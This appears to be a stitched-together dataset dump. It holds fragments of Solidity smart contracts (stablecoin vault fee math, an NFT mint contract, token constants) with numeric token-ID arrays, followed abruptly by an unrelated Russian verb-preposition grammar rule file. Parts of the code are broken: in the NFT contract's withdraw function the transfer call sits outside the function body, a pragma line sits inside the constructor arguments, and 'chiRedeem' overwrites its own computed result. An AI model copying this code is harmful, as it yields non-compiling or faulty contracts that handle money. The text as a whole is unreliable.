IOracleV1(_oracleAddr).getCollateralPrice(_collaAddr)); collaUnlockAmt = collaUnlockAmt.div(10**(uint(18).sub(uint(ERC20Upgradeable(_collaAddr).decimals())))); if (swapFee > 0) { collaUnlockAmt = collaUnlockAmt.sub(multiplier(collaUnlockAmt, swapFee, uint(_vaultContract.swapFee_prec()))); } // //Burn USDs swapFeeAmount = multiplier(USDsAmt, swapFee, uint(_vaultContract.swapFee_prec())); USDsBurntAmt = USDsAmt.sub(swapFeeAmount); } /** * @dev calculate the InSwap fee, i.e. fees for minting USDs * @return the InSwap fee */ function calculateSwapFeeIn(address _VaultCoreContract) public view returns (uint) { // if InSwap fee is disabled, return 0 IVaultCore _vaultContract = IVaultCore(_VaultCoreContract); if (!_vaultContract.swapfeeInAllowed()) { return 0; } // implement the formula in Section 4.3.1 of whitepaper uint priceUSDs_Average = IOracleV1(_vaultContract.oracleAddr()).getUSDsPrice_average(); uint precisionUSDs = IOracleV1(_vaultContract.oracleAddr()).getUSDsPrice_prec(); uint smallPwithPrecision = uint(_vaultContract.swapFee_p()).mul(precisionUSDs).div(_vaultContract.swapFee_p_prec()); uint swapFee_prec = uint(_vaultContract.swapFee_prec()); if (smallPwithPrecision < priceUSDs_Average) { return swapFee_prec / 1000; // 0.1% } else { uint temp = (smallPwithPrecision - priceUSDs_Average).mul(_vaultContract.swapFee_theta()).div(_vaultContract.swapFee_theta_prec()); //precision: precisionUSDs uint temp2 = temp.mul(temp); //precision: precisionUSDs^2 uint temp3 = temp2.mul(swapFee_prec).div(precisionUSDs).div(precisionUSDs); uint temp4 = temp3.div(100); uint temp5 = swapFee_prec / 1000 + temp4; if (temp5 >= swapFee_prec) { return swapFee_prec; } else { return temp5; } } } /** * @dev the general mintView function that display all related quantities based on mint types * valueType = 0: mintWithUSDs * valueType = 1: mintWithSPA * valueType = 2: mintWithColla * @param collaAddr the address of user's chosen collateral * @param valueAmt the amount of user input whose specific meaning depends on valueType * @param valueType the type of user input whose interpretation is listed above in @dev * @return SPABurnAmt the amount of SPA to burn * collaDeptAmt the amount of collateral to stake * USDsAmt the amount of USDs to mint * swapFeeAmount the amount of Inswapfee to pay */ function mintView( address collaAddr, uint valueAmt, uint8 valueType, address _VaultCoreContract ) public view returns (uint SPABurnAmt, uint collaDeptAmt, uint USDsAmt, uint swapFeeAmount) { // obtain the price and pecision of the collateral IVaultCore _vaultContract = IVaultCore(_VaultCoreContract); // obtain other necessary data uint swapFee = calculateSwapFeeIn(_VaultCoreContract); if (valueType == 0) { // when mintWithUSDs // calculate USDsAmt USDsAmt = valueAmt; // calculate SPABurnAmt SPABurnAmt = SPAAmountCalculator(valueType, USDsAmt, _VaultCoreContract, swapFee); // calculate collaDeptAmt collaDeptAmt = collaDeptAmountCalculator(valueType, USDsAmt, _VaultCoreContract, collaAddr, swapFee); // calculate swapFeeAmount swapFeeAmount = USDsAmt.mul(swapFee).div(uint(_vaultContract.swapFee_prec())); } else if (valueType == 1) { // when mintWithSPA // calculate SPABurnAmt SPABurnAmt = valueAmt; // calculate USDsAmt USDsAmt = USDsAmountCalculator(valueType, valueAmt, _VaultCoreContract, collaAddr, swapFee); // calculate collaDeptAmt collaDeptAmt = collaDeptAmountCalculator(valueType, USDsAmt, _VaultCoreContract, collaAddr, swapFee); // calculate swapFeeAmount swapFeeAmount = USDsAmt.mul(swapFee).div(uint(_vaultContract.swapFee_prec())); } else if (valueType == 2) { // when mintWithColla // calculate collaDeptAmt collaDeptAmt = valueAmt; // calculate USDsAmt USDsAmt = USDsAmountCalculator(valueType, valueAmt, _VaultCoreContract, collaAddr, swapFee); // calculate SPABurnAmt SPABurnAmt = SPAAmountCalculator(valueType, USDsAmt, _VaultCoreContract, swapFee); // calculate swapFeeAmount swapFeeAmount = USDsAmt.mul(swapFee).div(uint(_vaultContract.swapFee_prec())); } } function collaDeptAmountCalculator( uint valueType, uint USDsAmt, address _VaultCoreContract, address collaAddr, uint swapFee ) public view returns (uint256 collaDeptAmt) { require(valueType == 0 || valueType == 1, 'invalid valueType'); IVaultCore _vaultContract = IVaultCore(_VaultCoreContract); uint collaAddrDecimal = uint(ERC20Upgradeable(collaAddr).decimals()); if (valueType == 1) { collaDeptAmt = USDsAmt.mul(chiMint(_VaultCoreContract)).mul(IOracleV1(_vaultContract.oracleAddr()).getCollateralPrice_prec(collaAddr)).div(uint(_vaultContract.chi_prec()).mul(IOracleV1(_vaultContract.oracleAddr()).getCollateralPrice(collaAddr))).div(10**(uint(18).sub(collaAddrDecimal))); if (swapFee > 0) { collaDeptAmt = collaDeptAmt.add(collaDeptAmt.mul(swapFee).div(uint(_vaultContract.swapFee_prec()))); } } else if (valueType == 0) { collaDeptAmt = USDsAmt.mul(chiMint(_VaultCoreContract)).mul(IOracleV1(_vaultContract.oracleAddr()).getCollateralPrice_prec(collaAddr)).div(uint(_vaultContract.chi_prec()).mul(IOracleV1(_vaultContract.oracleAddr()).getCollateralPrice(collaAddr))).div(10**(uint(18).sub(collaAddrDecimal))); if (swapFee > 0) { collaDeptAmt = collaDeptAmt.add(collaDeptAmt.mul(swapFee).div(uint(_vaultContract.swapFee_prec()))); } } } function SPAAmountCalculator( uint valueType, uint USDsAmt, address _VaultCoreContract, uint swapFee ) public view returns (uint256 SPABurnAmt) { require(valueType == 0 || valueType == 2, 'invalid valueType'); IVaultCore _vaultContract = IVaultCore(_VaultCoreContract); uint priceSPA = IOracleV1(_vaultContract.oracleAddr()).getSPAprice(); uint precisionSPA = IOracleV1(_vaultContract.oracleAddr()).getSPAprice_prec(); SPABurnAmt = USDsAmt.mul(uint(_vaultContract.chi_prec()) - chiMint(_VaultCoreContract)).mul(precisionSPA).div(priceSPA.mul(uint(_vaultContract.chi_prec()))); if (swapFee > 0) { SPABurnAmt = SPABurnAmt.add(SPABurnAmt.mul(swapFee).div(uint(_vaultContract.swapFee_prec()))); } } function USDsAmountCalculator( uint valueType, uint valueAmt, address _VaultCoreContract, address collaAddr, uint swapFee ) public view returns (uint256 USDsAmt) { require(valueType == 1 || valueType == 2, 'invalid valueType'); IVaultCore _vaultContract = IVaultCore(_VaultCoreContract); uint priceSPA = IOracleV1(_vaultContract.oracleAddr()).getSPAprice(); uint precisionSPA = IOracleV1(_vaultContract.oracleAddr()).getSPAprice_prec(); if (valueType == 2) { USDsAmt = valueAmt; if (swapFee > 0) { USDsAmt = USDsAmt.mul(uint(_vaultContract.swapFee_prec())).div(uint(_vaultContract.swapFee_prec()).add(swapFee)); } USDsAmt = USDsAmt.mul(10**(uint(18).sub(uint(ERC20Upgradeable(collaAddr).decimals())))).mul(uint(_vaultContract.chi_prec()).mul(IOracleV1(_vaultContract.oracleAddr()).getCollateralPrice(collaAddr))).div(IOracleV1(_vaultContract.oracleAddr()).getCollateralPrice_prec(collaAddr)).div(chiMint(_VaultCoreContract)); } else if (valueType == 1) { USDsAmt = valueAmt; if (swapFee > 0) { USDsAmt = USDsAmt.mul(uint(_vaultContract.swapFee_prec())).div(uint(_vaultContract.swapFee_prec()).add(swapFee)); } USDsAmt = USDsAmt.mul(uint(_vaultContract.chi_prec())).mul(priceSPA).div(precisionSPA.mul(uint(_vaultContract.chi_prec()) - chiMint(_VaultCoreContract))); } } }
* @dev calculate chiRedeem based on the formula at the end of section 2.2 @return chiRedeem_/ calculate chiTarget calculate chiRedeem
function chiRedeem(address _VaultCoreContract) public view returns (uint chiRedeem_) { IVaultCore _vaultContract = IVaultCore(_VaultCoreContract); uint priceUSDs = uint(IOracleV1(_vaultContract.oracleAddr()).getUSDsPrice()); uint precisionUSDs = IOracleV1(_vaultContract.oracleAddr()).getUSDsPrice_prec(); uint blockPassed = uint(block.number).sub(_vaultContract.startBlockHeight()); uint chiTarget_ = chiTarget(blockPassed, priceUSDs, precisionUSDs, _VaultCoreContract); uint collateralRatio_ = _vaultContract.collateralRatio(); if (chiTarget_ > collateralRatio_) { chiRedeem_ = chiTarget_.sub(uint(_vaultContract.chi_gamma()).mul(chiTarget_ - collateralRatio_).div(uint(_vaultContract.chi_gamma_prec()))); chiRedeem_ = chiTarget_; } }
5,480,478
[ 1, 11162, 17198, 426, 24903, 2511, 603, 326, 8013, 622, 326, 679, 434, 2442, 576, 18, 22, 327, 17198, 426, 24903, 67, 19, 4604, 17198, 2326, 4604, 17198, 426, 24903, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 17198, 426, 24903, 12, 2867, 389, 12003, 4670, 8924, 13, 1071, 1476, 1135, 261, 11890, 17198, 426, 24903, 67, 13, 288, 203, 202, 202, 8188, 3714, 4670, 389, 26983, 8924, 273, 467, 12003, 4670, 24899, 12003, 4670, 8924, 1769, 203, 202, 202, 11890, 6205, 3378, 22831, 273, 2254, 12, 4294, 16873, 58, 21, 24899, 26983, 8924, 18, 280, 16066, 3178, 1435, 2934, 588, 3378, 22831, 5147, 10663, 203, 202, 202, 11890, 6039, 3378, 22831, 273, 1665, 16873, 58, 21, 24899, 26983, 8924, 18, 280, 16066, 3178, 1435, 2934, 588, 3378, 22831, 5147, 67, 4036, 5621, 203, 202, 202, 11890, 1203, 22530, 273, 2254, 12, 2629, 18, 2696, 2934, 1717, 24899, 26983, 8924, 18, 1937, 1768, 2686, 10663, 203, 202, 202, 11890, 17198, 2326, 67, 273, 17198, 2326, 12, 2629, 22530, 16, 6205, 3378, 22831, 16, 6039, 3378, 22831, 16, 389, 12003, 4670, 8924, 1769, 203, 202, 202, 11890, 4508, 2045, 287, 8541, 67, 273, 389, 26983, 8924, 18, 12910, 2045, 287, 8541, 5621, 203, 202, 202, 430, 261, 24010, 2326, 67, 405, 4508, 2045, 287, 8541, 67, 13, 288, 203, 1082, 202, 24010, 426, 24903, 67, 273, 17198, 2326, 27799, 1717, 12, 11890, 24899, 26983, 8924, 18, 24010, 67, 20589, 1435, 2934, 16411, 12, 24010, 2326, 67, 300, 4508, 2045, 287, 8541, 67, 2934, 2892, 12, 11890, 24899, 26983, 8924, 18, 24010, 67, 20589, 67, 4036, 1435, 3719, 1769, 203, 1082, 202, 24010, 426, 24903, 67, 273, 17198, 2326, 67, 31, 203, 202, 202, 97, 203, 202, 97, 203, 203, 203, 2, -100 ]
./full_match/11155111/0x0f158345a04755D1c6d3b0b6c1C7a2a22A5cA2E7/sources/project_/contracts/Outlaws.sol
uint public constant PRICE = 0.05 ether;
contract Outlaws is ERC721A, Ownable, PaymentSplitter { using SafeMath for uint256; uint256 private _tokenCount; uint256 public constant PRESALE_START = 1679839200; bool public _isMintingActive = true; uint public constant MAX_SUPPLY = 10000; uint public constant PRICE = 0.005 ether; uint public constant MAX_PER_MINT = 10; string public baseTokenURI; event Mint(address _to, uint _count); constructor( string memory baseURI, string memory name, string memory symbol, address[] memory payees, uint256[] memory shares pragma solidity ^0.8.13; ) ERC721A(name, symbol) PaymentSplitter(payees, shares) { setBaseURI(baseURI); } function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; } function setBaseURI(string memory _baseTokenURI) public onlyOwner { baseTokenURI = _baseTokenURI; } function mint(uint _count) public payable { require( _isMintingActive && block.timestamp >= PRESALE_START, "Outlaws: sale is not active" ); require( _tokenCount.add(_count) <= MAX_SUPPLY, "Outlaws: This collection is sold out!" ); require( _count > 0 && _count <= MAX_PER_MINT, "Outlaws: You have received the maximum amount of NFTs allowed." ); require( msg.value >= PRICE.mul(_count), "Outlaws: Not enough ether to purchase NFTs." ); _tokenCount += _count; _mint(msg.sender, _count); emit Mint(msg.sender, _count); } function withdraw() public payable onlyOwner { uint balance = address(this).balance; require(balance > 0, "No ether left to withdraw"); require(success, "Transfer failed."); } (bool success, ) = (msg.sender).call{ value: balance }(""); function reserveNFTs(uint _count) public onlyOwner { require(_count > 0, "Outlaws: Must mint more than 0"); require( _tokenCount.add(_count) <= MAX_SUPPLY, "Outlaws: Not enough NFTs left to reserve" ); _mint(msg.sender, _count); emit Mint(msg.sender, _count); } function toggleMinting() public onlyOwner { _isMintingActive = !_isMintingActive; } }
3,810,759
[ 1, 11890, 1071, 5381, 10365, 1441, 273, 374, 18, 6260, 225, 2437, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 2976, 80, 6850, 353, 4232, 39, 27, 5340, 37, 16, 14223, 6914, 16, 12022, 26738, 288, 203, 225, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 225, 2254, 5034, 3238, 389, 2316, 1380, 31, 203, 203, 225, 2254, 5034, 1071, 5381, 7071, 5233, 900, 67, 7570, 273, 2872, 7235, 28, 5520, 6976, 31, 203, 225, 1426, 1071, 389, 291, 49, 474, 310, 3896, 273, 638, 31, 203, 203, 225, 2254, 1071, 5381, 4552, 67, 13272, 23893, 273, 12619, 31, 203, 225, 2254, 1071, 5381, 10365, 1441, 273, 374, 18, 28564, 225, 2437, 31, 203, 225, 2254, 1071, 5381, 4552, 67, 3194, 67, 49, 3217, 273, 1728, 31, 203, 203, 225, 533, 1071, 1026, 1345, 3098, 31, 203, 203, 225, 871, 490, 474, 12, 2867, 389, 869, 16, 2254, 389, 1883, 1769, 203, 203, 225, 3885, 12, 203, 565, 533, 3778, 1026, 3098, 16, 203, 565, 533, 3778, 508, 16, 203, 565, 533, 3778, 3273, 16, 203, 565, 1758, 8526, 3778, 8843, 25521, 16, 203, 565, 2254, 5034, 8526, 3778, 24123, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 3437, 31, 203, 225, 262, 4232, 39, 27, 5340, 37, 12, 529, 16, 3273, 13, 12022, 26738, 12, 10239, 25521, 16, 24123, 13, 288, 203, 565, 26435, 3098, 12, 1969, 3098, 1769, 203, 225, 289, 203, 203, 225, 445, 389, 1969, 3098, 1435, 2713, 1476, 5024, 3849, 1135, 261, 1080, 3778, 13, 288, 203, 565, 327, 1026, 1345, 3098, 31, 203, 225, 289, 203, 203, 225, 445, 26435, 3098, 12, 1080, 3778, 2 ]
./partial_match/1/0x81e0AE3701f48F311a1C1A7144168A456e612754/sources/ALTLAB.sol
* Get total number of tokens in circulation. @return total number of tokens in circulation/
function totalSupply() public view returns (uint256 supply) { return tokenCount; } string constant public name = "ALTCOIN LAB TOKEN"; string constant public symbol = "ALTLAB"; uint8 constant public decimals = 18;
9,289,559
[ 1, 967, 2078, 1300, 434, 2430, 316, 5886, 1934, 367, 18, 327, 2078, 1300, 434, 2430, 316, 5886, 1934, 367, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 2078, 3088, 1283, 1435, 1071, 1476, 1135, 261, 11890, 5034, 14467, 13, 288, 203, 565, 327, 1147, 1380, 31, 203, 225, 289, 203, 203, 225, 533, 5381, 1071, 508, 273, 315, 18255, 3865, 706, 511, 2090, 14275, 14432, 203, 225, 533, 5381, 1071, 3273, 273, 315, 1013, 5967, 2090, 14432, 203, 225, 2254, 28, 5381, 1071, 15105, 273, 6549, 31, 203, 21281, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xFa9f25e6e7065aE49705cC1A1e5a261462C2295A/sources/contracts/artist/10_jon_waltz/AuctionHouse.sol
only true if they were a raffle winner
bool rafflewinner;
3,101,582
[ 1, 3700, 638, 309, 2898, 4591, 279, 767, 1403, 298, 5657, 1224, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1426, 767, 1403, 298, 91, 7872, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Сочетаемость глаголов (и отглагольных частей речи) с предложным // паттерном. // LC->07.08.2018 facts гл_предл language=Russian { arity=3 //violation_score=-5 generic return=boolean } #define ГЛ_ИНФ(v) инфинитив:v{}, глагол:v{} #region Предлог_В // ------------------- С ПРЕДЛОГОМ 'В' --------------------------- #region Предложный // Глаголы и отглагольные части речи, присоединяющие // предложное дополнение с предлогом В и сущ. в предложном падеже. wordentry_set Гл_В_Предл = { rus_verbs:взорваться{}, // В Дагестане взорвался автомобиль // вернуть после перекомпиляции rus_verbs:подорожать{}, // В Дагестане подорожал хлеб rus_verbs:воевать{}, // Воевал во Франции. rus_verbs:устать{}, // Устали в дороге? rus_verbs:изнывать{}, // В Лондоне Черчилль изнывал от нетерпения. rus_verbs:решить{}, // Что решат в правительстве? rus_verbs:выскакивать{}, // Один из бойцов на улицу выскакивает. rus_verbs:обстоять{}, // В действительности же дело обстояло не так. rus_verbs:подыматься{}, rus_verbs:поехать{}, // поедем в такси! rus_verbs:уехать{}, // он уехал в такси rus_verbs:прибыть{}, // они прибыли в качестве независимых наблюдателей rus_verbs:ОБЛАЧИТЬ{}, rus_verbs:ОБЛАЧАТЬ{}, rus_verbs:ОБЛАЧИТЬСЯ{}, rus_verbs:ОБЛАЧАТЬСЯ{}, rus_verbs:НАРЯДИТЬСЯ{}, rus_verbs:НАРЯЖАТЬСЯ{}, rus_verbs:ПОВАЛЯТЬСЯ{}, // повалявшись в снегу, бежать обратно в тепло. rus_verbs:ПОКРЫВАТЬ{}, // Во многих местах ее покрывали трещины, наросты и довольно плоские выступы. (ПОКРЫВАТЬ) rus_verbs:ПРОЖИГАТЬ{}, // Синий луч искрился белыми пятнами и прожигал в земле дымящуюся борозду. (ПРОЖИГАТЬ) rus_verbs:МЫЧАТЬ{}, // В огромной куче тел жалобно мычали задавленные трупами и раненые бизоны. (МЫЧАТЬ) rus_verbs:РАЗБОЙНИЧАТЬ{}, // Эти существа обычно разбойничали в трехстах милях отсюда (РАЗБОЙНИЧАТЬ) rus_verbs:МАЯЧИТЬ{}, // В отдалении маячили огромные серые туши мастодонтов и мамонтов с изогнутыми бивнями. (МАЯЧИТЬ/ЗАМАЯЧИТЬ) rus_verbs:ЗАМАЯЧИТЬ{}, rus_verbs:НЕСТИСЬ{}, // Кони неслись вперед в свободном и легком галопе (НЕСТИСЬ) rus_verbs:ДОБЫТЬ{}, // Они надеялись застать "медвежий народ" врасплох и добыть в бою голову величайшего из воинов. (ДОБЫТЬ) rus_verbs:СПУСТИТЬ{}, // Время от времени грохот или вопль объявляли о спущенной где-то во дворце ловушке. (СПУСТИТЬ) rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Она сузила глаза, на лице ее стала образовываться маска безумия. (ОБРАЗОВЫВАТЬСЯ) rus_verbs:КИШЕТЬ{}, // в этом районе кишмя кишели разбойники и драконы. (КИШЕТЬ) rus_verbs:ДЫШАТЬ{}, // Она тяжело дышала в тисках гнева (ДЫШАТЬ) rus_verbs:ЗАДЕВАТЬ{}, // тот задевал в нем какую-то струну (ЗАДЕВАТЬ) rus_verbs:УСТУПИТЬ{}, // Так что теперь уступи мне в этом. (УСТУПИТЬ) rus_verbs:ТЕРЯТЬ{}, // Хотя он хорошо питался, он терял в весе (ТЕРЯТЬ/ПОТЕРЯТЬ) rus_verbs:ПоТЕРЯТЬ{}, rus_verbs:УТЕРЯТЬ{}, rus_verbs:РАСТЕРЯТЬ{}, rus_verbs:СМЫКАТЬСЯ{}, // Словно медленно смыкающийся во сне глаз, отверстие медленно закрывалось. (СМЫКАТЬСЯ/СОМКНУТЬСЯ, + оборот с СЛОВНО/БУДТО + вин.п.) rus_verbs:СОМКНУТЬСЯ{}, rus_verbs:РАЗВОРОШИТЬ{}, // Вольф не узнал никаких отдельных слов, но звуки и взаимодействующая высота тонов разворошили что-то в его памяти. (РАЗВОРОШИТЬ) rus_verbs:ПРОСТОЯТЬ{}, // Он поднялся и некоторое время простоял в задумчивости. (ПРОСТОЯТЬ,ВЫСТОЯТЬ,ПОСТОЯТЬ) rus_verbs:ВЫСТОЯТЬ{}, rus_verbs:ПОСТОЯТЬ{}, rus_verbs:ВЗВЕСИТЬ{}, // Он поднял и взвесил в руке один из рогов изобилия. (ВЗВЕСИТЬ/ВЗВЕШИВАТЬ) rus_verbs:ВЗВЕШИВАТЬ{}, rus_verbs:ДРЕЙФОВАТЬ{}, // Он и тогда не упадет, а будет дрейфовать в отбрасываемой диском тени. (ДРЕЙФОВАТЬ) прилагательное:быстрый{}, // Кисель быстр в приготовлении rus_verbs:призвать{}, // В День Воли белорусов призвали побороть страх и лень rus_verbs:призывать{}, rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // этими деньгами смогу воспользоваться в отпуске (ВОСПОЛЬЗОВАТЬСЯ) rus_verbs:КОНКУРИРОВАТЬ{}, // Наши клубы могли бы в Англии конкурировать с лидерами (КОНКУРИРОВАТЬ) rus_verbs:ПОЗВАТЬ{}, // Американскую телеведущую позвали замуж в прямом эфире (ПОЗВАТЬ) rus_verbs:ВЫХОДИТЬ{}, // Районные газеты Вологодчины будут выходить в цвете и новом формате (ВЫХОДИТЬ) rus_verbs:РАЗВОРАЧИВАТЬСЯ{}, // Сюжет фэнтези разворачивается в двух мирах 